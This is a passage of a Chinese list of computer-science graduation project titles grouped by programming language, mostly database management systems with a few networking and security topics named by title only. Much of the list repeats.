NET在线点歌系统Delphi类计算机专业毕业设计题目学生宿舍管理系统仓库管理系统超市销售管理系统工资管理系统供应商管理系统会员卡管理系统计量管理系统进销存财务管理系统进销存管理系统人才管理系统图书管理系统图书销售系统学生管理系统试卷自动生成系统仪器管理系统公司综合管理系统社区物业管理系统教务管理系统智能卡网吧管理系统球员管理系统客户管理系统车辆管理系统聊天室系统学生公寓管理系统类似QQ的通讯工具学生成绩信息管理系统酒店人事信息管理系统商场销售管理系统光盘租赁管理系统图书管理系统货运配送物流管理系统车队调度管理系统PE文件格式研究及PEDUMP的实现成绩管理系统题库与自动制卷系统教学信息管理系统球员能力记分系统远程邮件预览系统图书仓库管理系统工资管理系统人事工资管理系统学生管理系统房屋装潢公司预算系统房屋装潢公司预算系统学校教学管理系统银行学生助学贷款管理系统煤气站管理系统图书管理系统教学信息管理系统汽车零件销售管理系统超市管理系统工资管理系统设备保养管理系统图片浏览系统的设计与实现网络考试系统办公管理系统办公管理系统布匹出口管理系统工资管理管理系统工资管理系统货运管理系统教务信息管理系统教学信息管理系统实验室设备仪器管理系统试卷管理系统水费电费管理系统网吧管理系统医嘱管理系统会员管理系统图书管理系统在线考试系统网吧管理系统JAVA类计算机专业毕业设计题目学籍管理系统Java远程通信及应用的研究JAVA游戏俄罗斯方块游戏JAVA多线程教学演示系统IPv4网络协议问题分析校园网规划与设计校园网络规划设计办公局域网设计智能小区规划搜索引擎的研究与实现基于Java的电子邮件接收系统人事管理系统题库管理系统银行帐目管理系统FTP客户端的设计与实现办公自动化系统JAVA游戏引擎开发与实践宾馆客房管理系统房地产信息管理系统光盘管理系统猜数字游戏泡泡堂网络游戏开发FTP系统的设计局域网监听软件基于纠错码的冗余技术掌上网络商店机主留言系统基于Http协议的断点续传WML信息查询设计题库及试卷管理JSP类计算机专业毕业设计题目网上书店网上考试手机销售系统基于JSP技术的网络陶瓷城智能道路交通信息管理系统B2C的电子商务系统(J2EE)网络远程作业处理系统设备管理系统网上购物系统设计网上拍卖平台系统手机游戏(J2EE)网上商店系统电子报销系统(J2EE)公文管理系统B2C电子商务平台企业资产管理系统会议管理系统教务管理系统电子商务网站网络办公系统毕业论文管理系统网上购物系统工资管理系统网站流量统计系统项目管理系统手机销售管理系统房屋交易管理系统进销存管理系统房管局房屋交易管理系统新闻发布系统汽车销售网站物业管理系统邮件过滤系统音乐网站网上人才招聘系统网上订餐系统考勤管理系统酒店管理系系统小区物业管理系统超市进销存管理系统网上售票系统在线考试系统在线借阅图书系统婚纱影楼管理系统网上视频点播系统银行账目管理系统销售管理系统基于CTOC的网上拍卖管理系统物资管理系统生产资料管理系统火车站订票系统网上书店售书系统出租车管理网络购物/网上商城游戏机销售系统动漫网站移动硬盘销售系统基于WEB的考务管理系统的设计与实现网上自测试系统图书管理系统的设计在线考试系统在线网络购物J2EE框架的师生互助平台的设计与实现快运快递网站基于JSP教学实验管理系统小区物业管理系统校园门户网图书管理系统销售管理系统药品进销存管理系统小区物业管理公司员工个人信息网络管理系统公文收发管理系统高校毕业设计管理系统钢材管理系统在线论坛的设计与实现个人通信簿管理系统的设计与开发在线论坛网上书店物流管理系统办公自动化系统基于JSP的邮件收发系统大学生求职通用个人网站房屋出租出售网站基于BS模式的服装进销存管理系统基于Web的可维护的数据库浏览器基于电子商务的网上购物教师办公管理系统教师档案管理系统旅游信息系统师生交流平台作业管理子系统设计与实现网上购书系统销售管理系统基于JSP的小型课程信息管理系统校园二手市场交易平台新闻发布系统学生课程与成绩管理系统学生网上选课系统基于JSP的学生信息管理系统基于JSP的学生学籍管理系统药店管理系统SERVLET技术实现数据库查询办公自动化之公文运转系统机房自由上机收费管理软件的设计与实现基于E-school虚拟学校平台基于JSP的物流管理平台开发基于Web的会务管理系统的设计与实现基于WEB的纳税查询管理系统的设计与实现客户管理系统人力资源管理系统物流信息网B/S结构下的OA流程可视化的研究与实现JAVA泡泡堂网络游戏CD销售管理系统JSP房产中介系统企业人事管理系统房屋租赁管理信息系统企业电子投票系统Iptables图形管理工具音像店租赁管理系统JAVA文件压缩与解压缩实践Java3D的网络三维技术的设计与实现PHP类计算机专业毕业设计题目图书库存管理系统学生管理系统有线电视用户管理系统宾馆客房管理系统财务管理系统房产销售管理系统进销存管理系统培训管理系统人事管理系统人事管理系统图书管理系统图书管理系统图书管理系统老年医疗保健管理系统学生信息管理系统超市管理系统图书管理系统电子词典设计与开发自动组卷系统PHP类计算机专业毕业设计题目课程管理系统论文高校教材管理系统论文成绩查询系统论文网上购物系统论文在线作业系统论文VB类计算机专业毕业设计题目第1-100个题目医院住院管理系统人事管理系统停车场管理系统教师管理系统学生信息管理系统学籍管理系统工资管理系统医院门诊管理系统员工请假管理系统电脑公司进销存学生宿舍管理系统图书采购管理系统企业进销存管理系统商品销售管理系统(进销存)车辆管理系统房地产销售(售楼)管理系统小区物业管理系统书店图书管理系统珠宝首饰进销存管理系统学生信息管理系统图书管理系统学校信息管理系统人事工资管理系统电子教务管理系统智能试卷生成系统多媒体教学演示系统仓库管理管理系统商场财务管理系统教师管理系统学生信息管理图书管理系统人事管理系统[人力资源管理]铁路交通查询学校信息管理系统企业人事管理系统图书管理系统学籍管理系统交通事故档案管理系统车辆查询系统航空公司管理系统物业租赁管理系统宾馆客房管理系统教师管理系统(2)人事管理系统(3)人事管理系统(4)学生成绩管理系统人才档案管理系统图书借阅管理系统排课系统图书馆管理系统学生档案管理系统客运售票系统汽车修配管理系统洗衣店管理系统电气设备管理系统橡胶管理系统火车订票系统家庭管家系统车辆调度管理系统工伤事故管理系统城市交通查询系统电动车配件管理系统人才管理系统公用房信息系统水费管理系统设备管理系统多媒体播放器户籍管理系统超市管理系统商场管理系统中小型饭店餐饮管理系统固定资产管理系统学籍管理系统流动资金贷款业务管理系统失业保险管理系统学生宿舍管理系统旅游资源及线路管理系统图书查询系统仪器设备管理系统汽车租凭管理系统Excel文档属性提取与自动阅卷系统研究高校学籍管理系统流动资金贷款业务系统超市管理系统家庭财务管理系统考试管理系统通用成绩查询系统通用成绩查询系统智能公交查询系统人力资源管理系统仓库管理系统收支管理系统图像管理系统客房管理系统人事管理系统商品销售管理系统图书馆查询管理系统学生信息管理系统工资管理系统人事管理系统第101-200个题目小区电费管理系统商场商品管理系统进销存管理系统车辆管理系统影碟租借管理系统多媒体播放器电脑商城销售管理系统家庭理财管理系统网络俄罗斯方块物资流通管理系统图书馆管理系统交通(铁路)查询系统系统火车售票管理系统办公管理系统进销存管理系统物流管理系统企业营销管理系统客户管理系统工资管理系统图书管理系统小区物业管理系统小区物业管理系统工资管理系统学生成绩管理系统酒店客房管理系统交换机管理系统车辆调度管理系统酒店仓库管理系统企业销售管理系统汽车美容管理系统公司信息管理系统学生成绩管理实验室设备管理系统停车场管理系统物资管理系统学生综合评价系统超市管理系统企业仓库管理系统飞机售票系统客房信息管理系统学生成绩查询系统宾馆客房管理系统物流管理系统超市管理系统城市公交查询系统公司事务管理系统企业ERP管理系统客户管理系统文件加解密系统物业管理系统抽奖系统学生档案管理系统高校排课管理系统人事管理系统图书管理系统企业实力评估系统教材管理系统进销存管理系统小型超市管理系统员工培训管理系统学生社团管理系统VCD租借管理系统兼职中介管理系统工资管理系统退税管理系统期刊信息管理系统合同管理系统报警系统交互式cad系统音像管理系统自动排课系统户籍管理系统销售管理系统自动点歌系统宿舍管理系统贸易公司信息管理系统企业人事工资管理系统企业人事管理系统俄罗斯方块游戏员工管理系统设备管理系统题库管理系统高校题库管理系统班级管理系统企业工资管理系统仓库管理系统高速公路票据管理系统通讯录管理系统超市进销存管理系统评语管理系统题库自动组卷系统自动出卷系统药品管理系统电表管理系统教师管理系统文档管理系统库存管理系统工资管理系统工资管理系统地籍管理系统第201-300个题目图书管理系统图书管理系统库存管理系统公交查询系统人事管理系统IC卡管理系统考勤管理系统家庭财务管理系统基于VB和XML的个人资料编辑器的实现长途汽车信息管理系统系统辅助管理程序的设计与实现Excel条件格式化工具的设计与实现模拟ATM机系统软件的设计与开发一个编译原理语法分析器的设计与实现WORD文档分类管理插件的设计与实现学生注册管理系统扫雷游戏的设计与开发科研项目管理系统论文物流配送信息系统论文营养信息管理系统论文百货公司业务管理系统论文房地产销售管理信息系统论文通讯录管理系统论文图书租借管理系统论文物资管理系统论文期刊信息管理系统论文企业生产管理系统WORD题库插件采购系统会员管理系统病历管理系统库存管理系统病历管理系统公费医疗管理系统设备管理系统光盘管理系统仓库管理系统汽车销售系统药品供销存系统通讯录管理系统简单小游戏设计教材管理系统打字练习系统网络计时管理系统旅游资源及线路管理系统绩效评价系统保险单管理系统车间调度系统酒店管理系统自动组卷系统CTI电话语音应答系统商场管理系统烟花爆竹经销管理城市公交查询系统进销存管理系统医疗纠纷检索系统连锁店管理系统点对点聊天文件传输系统服装专卖店管理系统毕业论文管理系统学生交费管理系统电脑租赁系统学校田径运动会管理系统医院血库管理系统停车场管理系统学校工资管理系统银行代扣代发工资系统运输公司信息管理系统IC卡管理系统建材销售管理系统社会福利保障系统招生管理系统学校用电收费管理系统设备信息管理系统人口管理系统科研项目管理系统超市管理系统住院信息管理系统药品公司进销存管理系统学生成绩管理系统物流管理系统网吧计费系统考试分析评价系统固定资产管理系统干部档案管理系统B机房学生上机管理系统计算机维修管理系统车辆管理系统个人邮件处理系统身份证管理系统餐饮管理系统医院门诊管理系统图书借阅管理系统书店管理系统期刊信息管理系统酒店客房管理计算机等级考试管理系统光盘信息管理系统小区物业管理系统无纸化考试系统售楼管理系统销售管理系统防火墙的设计与实现简单远程控制系统被控端实践简单远程控制系统主控端实践文档分类管理插件的设计与实现VB. NET类计算机专业毕业设计题目酒店管理系统小区物业管理系统电子邮件客户端系统宾馆管理系统电子邮件服务器学生旧货信息系统旅游业务管理系统人力资源管理系统学生旧货信息系统酒店餐饮管理系统车辆档案管理系统订单管理系统媒体播放器门诊就诊系统的设计与实现家庭理财系统的设计与实现VC类计算机专业毕业设计题目第1-50个题目宾馆管理系统仓库管理系统酒店餐饮管理系统网络电话设计学籍管理系统Xray动态图像采集系统人脸识别技术人脸识别技术人事管理系统TCP协议分析器的设计与实现ERP采购系统接头绘制图形系统的设计和实现SNMP简单网络管理协议的研究与应用MPEG-4视频编码的DSP软件优化及加密算法研究网络游戏-贸易时代文本数据分析与信息检索基于数据包捕获与分析的个人防火墙吃豆子游戏MD5算法--整合应用程序的构建可视化图象处理系统的设计与实现加减乘除计算器遗传神经网络在股票价格预测中的应用个人防火墙技术与实现五子棋游戏聊天室系统五子棋游戏客户管理系统酒店管理系统针式打印机命令处理仿真软件的设计与实现基于IP的视频监控系统—存储和回放模块QT基于IP协议的视频监控系统QT基于SGIP协议的短消息网关模拟器设计基于CS结构的局域网通信系统网络嗅探器设计医学图象处理系统工资管理系统考试质量分析系统基于Windows Socket技术的语音传输系统的研究网络即时通信的原理和实现移动通信中的密钥管理全国天气信息管理系统24点游戏的开发和实现指纹识别系统Windows进程管理工具设计与实现数字图像处理和模式识别在交通检测中的应用基于VC的多媒体播放器设计图书管理系统论文学生成绩信息管理系统网络攻击与防御(扫描程序设计)企业人事管理系统第51-100个题目考勤信息管理系统酒店餐饮管理系统汇编器设计与实现基于MapInfo的城市GIS系统机房监控系统员工培训管理系统学生信息管理系统设计图书管理系统四国军棋系统职工工资管理系统VF类计算机专业毕业设计题目第1-50个题目资料信息管理系统中学成绩管理系统仓库管理系统办公用品管理系统超市管理系统家政服务管理系统客户管理系统人力资源管理系统人事管理系统手机销售管理系统同学录管理系统图书管理系统音像租赁管理系统学籍管理系统员工培训管理系统药品销售系统职员信息管理系统商厦人员管理系统学生档案管理系统学生综合素质管理系统教学质量监控系统餐饮管理系统教务管理系统合同管理系统名片管理系统商品销售管理系统学生管理系统考勤管理系统企业订单管理系统学生学籍管理系统教学管理系统超市管理系统固定资产管理系统工资管理系统图书管理系统学生信息管理系统图书管理系统工资管理系统库存管理系统职员信息管理系统人事管理系统党员管理系统考勤管理系统汽车销售系统人力资源管理系统学生综合素质管理系统小说租阅管理系统航空售票管理系统商业汇票/支票管理系统成绩计算分析系统第51-100个题目病房管理系统工程预算系统宾馆客房管理系统电话资费系统计算机专业毕业设计题目大全一、ASP类计算机专业毕业设计题目网络留言薄客户管理系统多媒体积件管理库的开发与应用基于WEB的多媒体素材管理库的开发与应用网络教学软件中的教学设计与应用小型教育网站的开发与建设基于图像的风景旅游模拟漫游系统网上报名系统电脑配件网络购物房产网站计算机组成原理网站软件下载系统网站图书管理系统网络办公系统电子书店管理系统中学学生学籍管理系统在线图书销售系统网上图书销售系统网上购物系统出租公司管理系统办公管理系统班级网站教学互动系统网上求职招聘系统鲜花销售管理系统小区物业管理系统学生社团管理系统在线邮件发送系统在线考试系统综合网站系统校园新闻管理系统在线订单管理系统聊天室管理系统教师档案管理系统信息网管理系统毕业论文管理系统车辆故障管理系统电子商务网站房产销售网站网上购物系统工资管理系统卷烟物价管理系统聊天室管理系统聊天室管理系统网络教学平台-教师子系统物流网站网上选排课系统病历管理系统学生成绩学分制管理系统药店管理系统小型酒店管理系统基于web的师资管理系统网上教务评教系统网络电话号码查询系统BLOG网站建设网上拍卖系统视频点播系统B2C购物网站设计煤炭销售系统旅行社网站系统教学进度管理系统建材网站系统手机商城网站珠宝购物网站的建设企业网站系统音乐网站系统电影网站系统毕业生学历证明系统网络相册管理系统物资管理系统选课及媒体教学系统网上书店学生日常行为评分管理系统网上手机购物系统校园办公系统在线考试系统电子商务网站设计个人网站建设及实现学籍管理系统毕业设计管理系统图书销售系统网页信息采集系统毕业设计管理系统个人网站的设计与实现库存管理系统信通系网站的设计与更新现代通信原理网站基于Matlab 的移动通信网站设计论坛系统高校评教教师工作量管理系统网上图书销售网上书店个人网站设计之654上网导航教师信息管理人才信息管理系统网络图书销售系统BBS论坛系统办公管理系统个人网站设计图书管理系统企业订单管理系统企业网站建设网上挂号系统文章发布系统家庭财务管理系统求职招聘网站网上书店网上购物系统在线考试系统人事管理系统网上教务评教系统在线学习网站企业信息平台建设教务管理系统动态网站建设在线图库网站医院管理系统网络硬盘管理系统教学在线网站手机销售网站校园相册管理系统在线医药销售网站网上书店库存管理系统人事管理系统玩具公司网站设计网上求职与招聘系统网上书店房产信息管理系统计算机散件报价系统电子商务网站设计(网上商品销售系统)供求信息网基于WEB的设备管理系统基于Web的网上物流系统网络考试系统人力资源管理系统基于WEB的购物系统汽车销售管理信息系统在线药店管理系统在线图书管理系统网上图书超市供房产信息网站精品课程网站课堂考勤管理系统企业网站建设企业信息网搜索引擎网站(网址站)系统班级网站网上鲜花店在线订餐系统校园二手拍卖网站个人博客Blog建设P二手车交易管理系统专用信箱系统的实现网络办公系统客房预订系统客户关系管理系统计算机组成原理精品课程网站理发管理系统在线视频播放网站mp3销售网站中学网站建设企业网络办公系统人事档案管理系统在线音乐播放器在线投票系统图书管理系统企业员工信息管理系统药店销售管理系统图书管理系统网上军事论坛职称考试模拟系统在线考试系统局域网文件共享及检索系统网络房产信息超市音像销售系统的设计与实现文学网站的设计与实现网络文件管理系统搜索引擎的设计与实现论坛系统工资管理系统玩具网站图书销售管理系统基于asp的搜索引擎基于WEB的房屋出租管理系基于BS的家教交流平台交易管理系统简易网络存储系统场地预约系统的设计与实现玩友交流网站网上交易平台网站网络考试系统医院信息管理系统基于ASP网站的安全性研究与实现民航售票管理系统学生在线选课系统高校工资管理系统基于BS结构的旅游网站精品课程网站基于BS结构的房屋租售管理系统库存管理系统网上订餐系统小区物业管理系统学生交流论坛社区管理系统基于BS结构的工艺品销售系统求职与招聘系统数字图书馆的设计与实现商场管理系统学生管理系统工艺品展示系统网上考试系统网上教学系统旅游网站旅游信息系统基于ASP的反垃圾邮件管理系统的设计个人日志系统的设计与实现BBS系统开发与帐户安全病历管理系统校园论坛的设计与实现销售供应链管理系统家电销售管理系统客户关系管理系统库存管理系统二手交易系统的设计与实现档案管理系统音乐网站的设计与实现企业网上订单系统人事工资管理系统人事管理系统学生信息管理系统在线考试系统网上书店的设计与实现进销存管理系统影碟管理系统人才交流网站(求职招聘)笔记本销售网站网上教务系统毕业论文管理系统二手交易系统网上投票系统设备管理系统企业公告及资料发布系统企业员工管理系统课程教学网站二手商品交易管理系统物流网站在线手机销售系统旅游网站在线花店博客网站同学录文章发布系统校园新闻发布管理系统在线花店网上花店在线教育系统在线人才网(招聘网)学生管理系统期刊稿件处理系统网络聊天室个人网站的设计与实现音乐网站网络留言本网上图书销售系统实验室设备管理系统办公自动化系统酒店预定管理系统学生成绩查询系统视频点播系统团员管理系统网上作业提交系统企业网站建设网上报名系统车辆调度管理系统动态网站设计与制作个人网上日记本车辆管理系统校园物品交易系统人力资源管理系统在线C语言教学系统交友网站图书管理系统旅游资源及线路管理系统软件信息发布系统学校学生论坛的设计与实现办公管理系统毕业设计选题管理系统电子商务网站的设计与实现电子政务档案管理系统服装销售系统奥运专题网站基于WEB的办公管理系统家教信息管理系统教师档案管理系统教师信息管理系统教学互动系统酒店房间预约系统客户关系管理系统企业进销存管理系统企业物流管理系统求职招聘网站人才招聘网站人力资源管理系统上网导航网站同学录设计与实现在线投票系统图书管理系统的设计与实现网络办公系统网络购物系统网络硬盘资源管理系统网上书店网上考试系统聊天室设计与开发网上人才管理系统网上售房管理系统网上贴吧系统网上选课系统物流网站的设计与实现物资管理系统校友录新闻管理系统新闻发布系统信息查询系统学生信息管理系统药店管理系统医药连锁店管理系统影片租赁系统网上书店学生信息管理系统在线考试系统鲜花销售系统在线教育系统作业提交与批改系统教师信息管理系统Flash制作《七里香》动画MTVFLASH制作歌曲<下雨天>动画MTV信息学院网上办公系统网上答疑系统的设计与开发基于WEB的新生报到系统管理的设计与实现基于web的财务管理系统动态个人博客设计毕业生信息管理系统编译原理在线答疑系统设计与实现编译原理在线考试系统个人财务管理机房上机安排管理系统基于ASP技术的人才招聘信息系统基于WEB的产品管理系统基于WEB的网上购物系统期刊学报网络投稿系统企业网上办公自动化系统的设计与实现汽车在线销售系统手机网上购物平台的设计与实现数据库精品课程系统通用网站生成系统企业办公自动化系统网上招标系统校园网站设计基于ASP的学生考试系统基于BS考试系统的实现网络版客户管理系统计算机等级考试系统设计与实现网上图书查询与销售系统心缘同学录的设计与实现学院电子政务系统在线点播系统高校文学系统的设计与开发综合教务系统信息发布子系统中小型企业商务网站的设计和实现在线考试系统的设计与研发心理健康网的规划与设计网上书店系统的设计与实现网上教学平台的设计与实现在线花卉销售系统在线鲜花销售系统论坛程序的设计与实现期刊系统的设计与实现基于Web的在线考试系统基于WEB的学生成绩管理系统基于WEB的新生报到系统管理的设计与实现在线教育系统的设计与实现基于XML技术的调查投票系统的设计与实现基于B/S模式的网络教学系统宠物医院管理信息系统学生心理健康网的规划与设计网络自主学习监控技术研究基于ASP的计算机组成原理考试系统企业及其分支机构内部办公管理系统毕业生就业信息管理系统编译原理在线考试系统的设计与实现基于ASP的人才招聘系统基于LAN的视频教学系统ASP. NET类计算机专业毕业设计题目城市公交查询系统电子邮件客户端软件(C#)图书管理系统(C#)网上书店系统图的遍历动态演示程序(C#)网上选课系统职工信息管理系统题库专家系统视频点播系统校园新闻发布管理系统客户管理系统车间管理系统停车管理系统毕业设计管理系统教师评定管理系统基于PowerDesigner的合同管理系统校园新闻发布系统知识库管理系统网上数码商店网上宠物店库存管理系统电子商务网站JAVA语言考试系统的设计与实现课程教学网站留言板(版)管理系统学生选课系统应用ASP. NET开发和制作网络课程书店图书管理系统火车站管理系统基于B/S结构的车辆管理系统基于WEB的新闻管理系统基于Web的网络论坛系统旅游网站(信息平台)研究与实现学生管理系统学生选课系统同学录校友录在线答疑系统图书馆管理系统作业批改系统房产管理系统选课系统校友录购物网站的设计与实现城市公交查询系统的设计与实现网上书店网上书店的设计与实现在线考试系统基于Web的招投标系统网上购物系统网上物流管理系统网络办公系统(公文管理系统)网络考试系统在线作业系统新闻管理系统企业办公系统的设计与实现员工绩效管理系统企业信息管理系统交通线路查询系统实验室预约系统视频点播系统网络相册的设计与实现图书销售管理系统学籍管理系统基于Web的电力管理系统网上模拟考试系统的设计与实现在线考试网上花店网上商品销售系统设备管理系统企业财务管理系统学生管理系统客户关系管理系统师资管理系统高校成绩管理系统的设计与实现网上考试系统在线考试系统论文网上考试系统网上书店车辆租赁系统基于Web的办公自动化系统企业公文管理系统网上自测试系统资讯网设计与实现公司管理系统监控网站网上论坛网上商店生成系统网上选课系统中学图书馆系统的设计与实现手机前台营业系统图书管理系统土地整理项目库建设在线调问卷系统邮件收发管理系统基于P2P网络模型的即时通讯软件的研制网络个人多媒体空间的设计(博客)基于web的师资管理系统基于. net平台的成绩管理系统设计与实现工作流引擎子系统订单管理系统第101-150个题目媒体播放器作业提交系统企业人事管理系统基于ASP. NET的班级风采网站的设计网上图书预约系统的设计小型门户网自助建站系统在线毕业论文提交系统C语言教学网站及网上考试系统的设计与实现基于ASP. NET简易博客网站的设计与实现多语种网络硬盘系统的设计基于. NET的工资绩效管理系统的开发基于ASP. NET的电子产品销售网站的设计与实现网上人才招聘系统基于Web的文档管理系统的设计与实现汽车销售管理系统的设计与开发基于Ajax+Lucene构建搜索引擎的设计与实现教师电子化信息库的设计与实现小型企业办公耗材库存管理软件的设计与实现基于. NET的酒店预订信息管理系统的设计基于web的订餐系统的设计与实现门诊就诊系统的设计与实现二手交易市场高校网上教材征订系统的设计与实现家庭理财系统的设计与实现基于ASP. NET在线点歌系统Delphi类计算机专业毕业设计题目学生宿舍管理系统仓库管理系统超市销售管理系统工资管理系统供应商管理系统会员卡管理系统计量管理系统进销存财务管理系统进销存管理系统人才管理系统图书管理系统图书销售系统学生管理系统试卷自动生成系统仪器管理系统公司综合管理系统社区物业管理系统教务管理系统智能卡网吧管理系统球员管理系统客户管理系统车辆管理系统聊天室系统学生公寓管理系统类似QQ的通讯工具学生成绩信息管理系统酒店人事信息管理系统商场销售管理系统光盘租赁管理系统图书管理系统货运配送物流管理系统车队调度管理系统PE文件格式研究及PEDUMP的实现成绩管理系统题库与自动制卷系统教学信息管理系统球员能力记分系统远程邮件预览系统图书仓库管理系统工资管理系统人事工资管理系统学生管理系统房屋装潢公司预算系统房屋装潢公司预算系统学校教学管理系统银行学生助学贷款管理系统煤气站管理系统图书管理系统教学信息管理系统汽车零件销售管理系统超市管理系统工资管理系统设备保养管理系统图片浏览系统的设计与实现网络考试系统办公管理系统办公管理系统布匹出口管理系统工资管理管理系统工资管理系统货运管理系统教务信息管理系统教学信息管理系统实验室设备仪器管理系统试卷管理系统水费电费管理系统网吧管理系统医嘱管理系统会员管理系统图书管理系统在线考试系统网吧管理系统JAVA类计算机专业毕业设计题目学籍管理系统Java远程通信及应用的研究JAVA游戏俄罗斯方块游戏JAVA多线程教学演示系统IPv4网络协议问题分析校园网规划与设计校园网络规划设计办公局域网设计智能小区规划搜索引擎的研究与实现基于Java的电子邮件接收系统人事管理系统题库管理系统银行帐目管理系统FTP客户端的设计与实现办公自动化系统JAVA游戏引擎开发与实践宾馆客房管理系统房地产信息管理系统光盘管理系统猜数字游戏泡泡堂网络游戏开发FTP系统的设计局域网监听软件基于纠错码的冗余技术掌上网络商店机主留言系统基于Http协议的断点续传WML信息查询设计题库及试卷管理JSP类计算机专业毕业设计题目网上书店网上考试手机销售系统基于JSP技术的网络陶瓷城智能道路交通信息管理系统B2C的电子商务系统(J2EE)网络远程作业处理系统设备管理系统网上购物系统设计网上拍卖平台系统手机游戏(J2EE)网上商店系统电子报销系统(J2EE)公文管理系统B2C电子商务平台企业资产管理系统会议管理系统教务管理系统电子商务网站网络办公系统毕业论文管理系统网上购物系统工资管理系统网站流量统计系统项目管理系统手机销售管理系统房屋交易管理系统进销存管理系统房管局房屋交易管理系统新闻发布系统汽车销售网站物业管理系统邮件过滤系统音乐网站网上人才招聘系统网上订餐系统考勤管理系统酒店管理系系统小区物业管理系统超市进销存管理系统网上售票系统在线考试系统在线借阅图书系统婚纱影楼管理系统网上视频点播系统银行账目管理系统销售管理系统基于CTOC的网上拍卖管理系统物资管理系统生产资料管理系统火车站订票系统网上书店售书系统出租车管理网络购物/网上商城游戏机销售系统动漫网站移动硬盘销售系统基于WEB的考务管理系统的设计与实现网上自测试系统图书管理系统的设计在线考试系统在线网络购物J2EE框架的师生互助平台的设计与实现快运快递网站基于JSP教学实验管理系统小区物业管理系统校园门户网图书管理系统销售管理系统药品进销存管理系统小区物业管理公司员工个人信息网络管理系统公文收发管理系统高校毕业设计管理系统钢材管理系统在线论坛的设计与实现个人通信簿管理系统的设计与开发在线论坛网上书店物流管理系统办公自动化系统基于JSP的邮件收发系统大学生求职通用个人网站房屋出租出售网站基于BS模式的服装进销存管理系统基于Web的可维护的数据库浏览器基于电子商务的网上购物教师办公管理系统教师档案管理系统旅游信息系统师生交流平台作业管理子系统设计与实现网上购书系统销售管理系统基于JSP的小型课程信息管理系统校园二手市场交易平台新闻发布系统学生课程与成绩管理系统学生网上选课系统基于JSP的学生信息管理系统基于JSP的学生学籍管理系统药店管理系统SERVLET技术实现数据库查询办公自动化之公文运转系统机房自由上机收费管理软件的设计与实现基于E-school虚拟学校平台基于JSP的物流管理平台开发基于Web的会务管理系统的设计与实现基于WEB的纳税查询管理系统的设计与实现客户管理系统人力资源管理系统物流信息网B/S结构下的OA流程可视化的研究与实现JAVA泡泡堂网络游戏CD销售管理系统JSP房产中介系统企业人事管理系统房屋租赁管理信息系统企业电子投票系统Iptables图形管理工具音像店租赁管理系统JAVA文件压缩与解压缩实践Java3D的网络三维技术的设计与实现PHP类计算机专业毕业设计题目图书库存管理系统学生管理系统有线电视用户管理系统宾馆客房管理系统财务管理系统房产销售管理系统进销存管理系统培训管理系统人事管理系统人事管理系统图书管理系统图书管理系统图书管理系统老年医疗保健管理系统学生信息管理系统超市管理系统图书管理系统电子词典设计与开发自动组卷系统PHP类计算机专业毕业设计题目课程管理系统论文高校教材管理系统论文成绩查询系统论文网上购物系统论文在线作业系统论文VB类计算机专业毕业设计题目第1-100个题目医院住院管理系统人事管理系统停车场管理系统教师管理系统学生信息管理系统学籍管理系统工资管理系统医院门诊管理系统员工请假管理系统电脑公司进销存学生宿舍管理系统图书采购管理系统企业进销存管理系统商品销售管理系统(进销存)车辆管理系统房地产销售(售楼)管理系统小区物业管理系统书店图书管理系统珠宝首饰进销存管理系统学生信息管理系统图书管理系统学校信息管理系统人事工资管理系统电子教务管理系统智能试卷生成系统多媒体教学演示系统仓库管理管理系统商场财务管理系统教师管理系统学生信息管理图书管理系统人事管理系统[人力资源管理]铁路交通查询学校信息管理系统企业人事管理系统图书管理系统学籍管理系统交通事故档案管理系统车辆查询系统航空公司管理系统物业租赁管理系统宾馆客房管理系统教师管理系统(2)人事管理系统(3)人事管理系统(4)学生成绩管理系统人才档案管理系统图书借阅管理系统排课系统图书馆管理系统学生档案管理系统客运售票系统汽车修配管理系统洗衣店管理系统电气设备管理系统橡胶管理系统火车订票系统家庭管家系统车辆调度管理系统工伤事故管理系统城市交通查询系统电动车配件管理系统人才管理系统公用房信息系统水费管理系统设备管理系统多媒体播放器户籍管理系统超市管理系统商场管理系统中小型饭店餐饮管理系统固定资产管理系统学籍管理系统流动资金贷款业务管理系统失业保险管理系统学生宿舍管理系统旅游资源及线路管理系统图书查询系统仪器设备管理系统汽车租凭管理系统Excel文档属性提取与自动阅卷系统研究高校学籍管理系统流动资金贷款业务系统超市管理系统家庭财务管理系统考试管理系统通用成绩查询系统通用成绩查询系统智能公交查询系统人力资源管理系统仓库管理系统收支管理系统图像管理系统客房管理系统人事管理系统商品销售管理系统图书馆查询管理系统学生信息管理系统工资管理系统人事管理系统第101-200个题目小区电费管理系统商场商品管理系统进销存管理系统车辆管理系统影碟租借管理系统多媒体播放器电脑商城销售管理系统家庭理财管理系统网络俄罗斯方块物资流通管理系统图书馆管理系统交通(铁路)查询系统系统火车售票管理系统办公管理系统进销存管理系统物流管理系统企业营销管理系统客户管理系统工资管理系统图书管理系统小区物业管理系统小区物业管理系统工资管理系统学生成绩管理系统酒店客房管理系统交换机管理系统车辆调度管理系统酒店仓库管理系统企业销售管理系统汽车美容管理系统公司信息管理系统学生成绩管理实验室设备管理系统停车场管理系统物资管理系统学生综合评价系统超市管理系统企业仓库管理系统飞机售票系统客房信息管理系统学生成绩查询系统宾馆客房管理系统物流管理系统超市管理系统城市公交查询系统公司事务管理系统企业ERP管理系统客户管理系统文件加解密系统物业管理系统抽奖系统学生档案管理系统高校排课管理系统人事管理系统图书管理系统企业实力评估系统教材管理系统进销存管理系统小型超市管理系统员工培训管理系统学生社团管理系统VCD租借管理系统兼职中介管理系统工资管理系统退税管理系统期刊信息管理系统合同管理系统报警系统交互式cad系统音像管理系统自动排课系统户籍管理系统销售管理系统自动点歌系统宿舍管理系统贸易公司信息管理系统企业人事工资管理系统企业人事管理系统俄罗斯方块游戏员工管理系统设备管理系统题库管理系统高校题库管理系统班级管理系统企业工资管理系统仓库管理系统高速公路票据管理系统通讯录管理系统超市进销存管理系统评语管理系统题库自动组卷系统自动出卷系统药品管理系统电表管理系统教师管理系统文档管理系统库存管理系统工资管理系统工资管理系统地籍管理系统第201-300个题目图书管理系统图书管理系统库存管理系统公交查询系统人事管理系统IC卡管理系统考勤管理系统家庭财务管理系统基于VB和XML的个人资料编辑器的实现长途汽车信息管理系统系统辅助管理程序的设计与实现Excel条件格式化工具的设计与实现模拟ATM机系统软件的设计与开发一个编译原理语法分析器的设计与实现WORD文档分类管理插件的设计与实现学生注册管理系统扫雷游戏的设计与开发科研项目管理系统论文物流配送信息系统论文营养信息管理系统论文百货公司业务管理系统论文房地产销售管理信息系统论文通讯录管理系统论文图书租借管理系统论文物资管理系统论文期刊信息管理系统论文企业生产管理系统WORD题库插件采购系统会员管理系统病历管理系统库存管理系统病历管理系统公费医疗管理系统设备管理系统光盘管理系统仓